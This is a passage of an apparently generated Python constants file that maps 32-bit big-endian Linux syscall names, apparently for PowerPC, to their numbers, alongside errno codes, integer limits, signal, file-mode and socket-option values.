Constant('__NR_fadvise64',233)\n__NR_exit_group = Constant('__NR_exit_group',234)\n__NR_lookup_dcookie = Constant('__NR_lookup_dcookie',235)\n__NR_epoll_create = Constant('__NR_epoll_create',236)\n__NR_epoll_ctl = Constant('__NR_epoll_ctl',237)\n__NR_epoll_wait = Constant('__NR_epoll_wait',238)\n__NR_remap_file_pages = Constant('__NR_remap_file_pages',239)\n__NR_timer_create = Constant('__NR_timer_create',240)\n__NR_timer_settime = Constant('__NR_timer_settime',241)\n__NR_timer_gettime = Constant('__NR_timer_gettime',242)\n__NR_timer_getoverrun = Constant('__NR_timer_getoverrun',243)\n__NR_timer_delete = Constant('__NR_timer_delete',244)\n__NR_clock_settime = Constant('__NR_clock_settime',245)\n__NR_clock_gettime = Constant('__NR_clock_gettime',246)\n__NR_clock_getres = Constant('__NR_clock_getres',247)\n__NR_clock_nanosleep = Constant('__NR_clock_nanosleep',248)\n__NR_swapcontext = Constant('__NR_swapcontext',249)\n__NR_tgkill = Constant('__NR_tgkill',250)\n__NR_utimes = Constant('__NR_utimes',251)\n__NR_statfs64 = Constant('__NR_statfs64',252)\n__NR_fstatfs64 = Constant('__NR_fstatfs64',253)\n__NR_fadvise64_64 = Constant('__NR_fadvise64_64',254)\n__NR_rtas = Constant('__NR_rtas',255)\n__NR_sys_debug_setcontext = Constant('__NR_sys_debug_setcontext',256)\n__NR_mq_open = Constant('__NR_mq_open',262)\n__NR_mq_unlink = Constant('__NR_mq_unlink',263)\n__NR_mq_timedsend = Constant('__NR_mq_timedsend',264)\n__NR_mq_timedreceive = Constant('__NR_mq_timedreceive',265)\n__NR_mq_notify = Constant('__NR_mq_notify',266)\n__NR_mq_getsetattr = Constant('__NR_mq_getsetattr',267)\n__NR_kexec_load = Constant('__NR_kexec_load',268)\n__NR_add_key = Constant('__NR_add_key',269)\n__NR_request_key = Constant('__NR_request_key',270)\n__NR_keyctl = Constant('__NR_keyctl',271)\n__NR_waitid = Constant('__NR_waitid',272)\n__NR_ioprio_set = Constant('__NR_ioprio_set',273)\n__NR_ioprio_get = Constant('__NR_ioprio_get',274)\n__NR_inotify_init = Constant('__NR_inotify_init',275)\n__NR_inotify_add_watch = Constant('__NR_inotify_add_watch',276)\n__NR_inotify_rm_watch = Constant('__NR_inotify_rm_watch',277)\n__NR_spu_run = Constant('__NR_spu_run',278)\n__NR_spu_create = Constant('__NR_spu_create',279)\n__NR_pselect6 = Constant('__NR_pselect6',280)\n__NR_ppoll = Constant('__NR_ppoll',281)\n__NR_unshare = Constant('__NR_unshare',282)\n__NR_splice = Constant('__NR_splice',283)\n__NR_tee = Constant('__NR_tee',284)\n__NR_vmsplice = Constant('__NR_vmsplice',285)\n__NR_openat = Constant('__NR_openat',286)\n__NR_mkdirat = Constant('__NR_mkdirat',287)\n__NR_mknodat = Constant('__NR_mknodat',288)\n__NR_fchownat = Constant('__NR_fchownat',289)\n__NR_futimesat = Constant('__NR_futimesat',290)\n__NR_fstatat64 = Constant('__NR_fstatat64',291)\n__NR_unlinkat = Constant('__NR_unlinkat',292)\n__NR_renameat = Constant('__NR_renameat',293)\n__NR_linkat = Constant('__NR_linkat',294)\n__NR_symlinkat = Constant('__NR_symlinkat',295)\n__NR_readlinkat = Constant('__NR_readlinkat',296)\n__NR_fchmodat = Constant('__NR_fchmodat',297)\n__NR_faccessat = Constant('__NR_faccessat',298)\n__NR_get_robust_list = Constant('__NR_get_robust_list',299)\n__NR_set_robust_list = Constant('__NR_set_robust_list',300)\n__NR_move_pages = Constant('__NR_move_pages',301)\n__NR_getcpu = Constant('__NR_getcpu',302)\n__NR_epoll_pwait = Constant('__NR_epoll_pwait',303)\n__NR_utimensat = Constant('__NR_utimensat',304)\n__NR_signalfd = Constant('__NR_signalfd',305)\n__NR_timerfd = Constant('__NR_timerfd',306)\n__NR_eventfd = Constant('__NR_eventfd',307)\n__NR_sync_file_range2 = Constant('__NR_sync_file_range2',308)\n__NR_fallocate = Constant('__NR_fallocate',309)\n__NR_subpage_prot = Constant('__NR_subpage_prot',310)\n__NR_timerfd_settime = Constant('__NR_timerfd_settime',311)\n__NR_timerfd_gettime = Constant('__NR_timerfd_gettime',312)\n__NR_signalfd4 = Constant('__NR_signalfd4',313)\n__NR_eventfd2 = Constant('__NR_eventfd2',314)\n__NR_epoll_create1 = Constant('__NR_epoll_create1',315)\n__NR_dup3 = Constant('__NR_dup3',316)\n__NR_pipe2 = Constant('__NR_pipe2',317)\n__NR_inotify_init1 = Constant('__NR_inotify_init1',318)\n__NR_perf_event_open = Constant('__NR_perf_event_open',319)\n__NR_preadv = Constant('__NR_preadv',320)\n__NR_pwritev = Constant('__NR_pwritev',321)\n__NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',322)\n__NR_fanotify_init = Constant('__NR_fanotify_init',323)\n__NR_fanotify_mark = Constant('__NR_fanotify_mark',324)\n__NR_prlimit64 = Constant('__NR_prlimit64',325)\n__NR_socket = Constant('__NR_socket',326)\n__NR_bind = Constant('__NR_bind',327)\n__NR_connect = Constant('__NR_connect',328)\n__NR_listen = Constant('__NR_listen',329)\n__NR_accept = Constant('__NR_accept',330)\n__NR_getsockname = Constant('__NR_getsockname',331)\n__NR_getpeername = Constant('__NR_getpeername',332)\n__NR_socketpair = Constant('__NR_socketpair',333)\n__NR_send = Constant('__NR_send',334)\n__NR_sendto = Constant('__NR_sendto',335)\n__NR_recv = Constant('__NR_recv',336)\n__NR_recvfrom = Constant('__NR_recvfrom',337)\n__NR_shutdown = Constant('__NR_shutdown',338)\n__NR_setsockopt = Constant('__NR_setsockopt',339)\n__NR_getsockopt = Constant('__NR_getsockopt',340)\n__NR_sendmsg = Constant('__NR_sendmsg',341)\n__NR_recvmsg = Constant('__NR_recvmsg',342)\n__NR_recvmmsg = Constant('__NR_recvmmsg',343)\n__NR_accept4 = Constant('__NR_accept4',344)\n__NR_name_to_handle_at = Constant('__NR_name_to_handle_at',345)\n__NR_open_by_handle_at = Constant('__NR_open_by_handle_at',346)\n__NR_clock_adjtime = Constant('__NR_clock_adjtime',347)\n__NR_syncfs = Constant('__NR_syncfs',348)\n__NR_sendmmsg = Constant('__NR_sendmmsg',349)\n__NR_setns = Constant('__NR_setns',350)\n__NR_process_vm_readv = Constant('__NR_process_vm_readv',351)\n__NR_process_vm_writev = Constant('__NR_process_vm_writev',352)\n__NR_finit_module = Constant('__NR_finit_module',353)\n__NR_kcmp = Constant('__NR_kcmp',354)\n__NR_sched_setattr = Constant('__NR_sched_setattr',355)\n__NR_sched_getattr = Constant('__NR_sched_getattr',356)\n__NR_renameat2 = Constant('__NR_renameat2',357)\n__NR_seccomp = Constant('__NR_seccomp',358)\n__NR_getrandom = Constant('__NR_getrandom',359)\n__NR_memfd_create = Constant('__NR_memfd_create',360)\n__NR_bpf = Constant('__NR_bpf',361)\n__NR_execveat = Constant('__NR_execveat',362)\n__NR_switch_endian = Constant('__NR_switch_endian',363)\n__NR_userfaultfd = Constant('__NR_userfaultfd',364)\n__NR_membarrier = Constant('__NR_membarrier',365)\n__NR_mlock2 = Constant('__NR_mlock2',378)\n__NR_copy_file_range = Constant('__NR_copy_file_range',379)\n__NR_preadv2 = Constant('__NR_preadv2',380)\n__NR_pwritev2 = Constant('__NR_pwritev2',381)\n__NR_kexec_file_load = Constant('__NR_kexec_file_load',382)\n__NR_statx = Constant('__NR_statx',383)\n__NR_pkey_alloc = Constant('__NR_pkey_alloc',384)\n__NR_pkey_free = Constant('__NR_pkey_free',385)\n__NR_pkey_mprotect = Constant('__NR_pkey_mprotect',386)\n__NR_rseq = Constant('__NR_rseq',387)\n__NR_io_pgetevents = Constant('__NR_io_pgetevents',388)\n__NR_semget = Constant('__NR_semget',393)\n__NR_semctl = Constant('__NR_semctl',394)\n__NR_shmget = Constant('__NR_shmget',395)\n__NR_shmctl = Constant('__NR_shmctl',396)\n__NR_shmat = Constant('__NR_shmat',397)\n__NR_shmdt = Constant('__NR_shmdt',398)\n__NR_msgget = Constant('__NR_msgget',399)\n__NR_msgsnd = Constant('__NR_msgsnd',400)\n__NR_msgrcv = Constant('__NR_msgrcv',401)\n__NR_msgctl = Constant('__NR_msgctl',402)\n__NR_clock_gettime64 = Constant('__NR_clock_gettime64',403)\n__NR_clock_settime64 = Constant('__NR_clock_settime64',404)\n__NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',405)\n__NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',406)\n__NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',407)\n__NR_timer_gettime64 = Constant('__NR_timer_gettime64',408)\n__NR_timer_settime64 = Constant('__NR_timer_settime64',409)\n__NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',410)\n__NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',411)\n__NR_utimensat_time64 = Constant('__NR_utimensat_time64',412)\n__NR_pselect6_time64 = Constant('__NR_pselect6_time64',413)\n__NR_ppoll_time64 = Constant('__NR_ppoll_time64',414)\n__NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',416)\n__NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',417)\n__NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',418)\n__NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',419)\n__NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',420)\n__NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',421)\n__NR_futex_time64 = Constant('__NR_futex_time64',422)\n__NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',423)\n__NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424)\n__NR_io_uring_setup = Constant('__NR_io_uring_setup',425)\n__NR_io_uring_enter = Constant('__NR_io_uring_enter',426)\n__NR_io_uring_register = Constant('__NR_io_uring_register',427)\n__NR_open_tree = Constant('__NR_open_tree',428)\n__NR_move_mount = Constant('__NR_move_mount',429)\n__NR_fsopen = Constant('__NR_fsopen',430)\n__NR_fsconfig = Constant('__NR_fsconfig',431)\n__NR_fsmount = Constant('__NR_fsmount',432)\n__NR_fspick = Constant('__NR_fspick',433)\n__NR_pidfd_open = Constant('__NR_pidfd_open',434)\n__NR_clone3 = Constant('__NR_clone3',435)\n__NR_openat2 = Constant('__NR_openat2',437)\n__NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',4321)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',4321)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',4321)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = 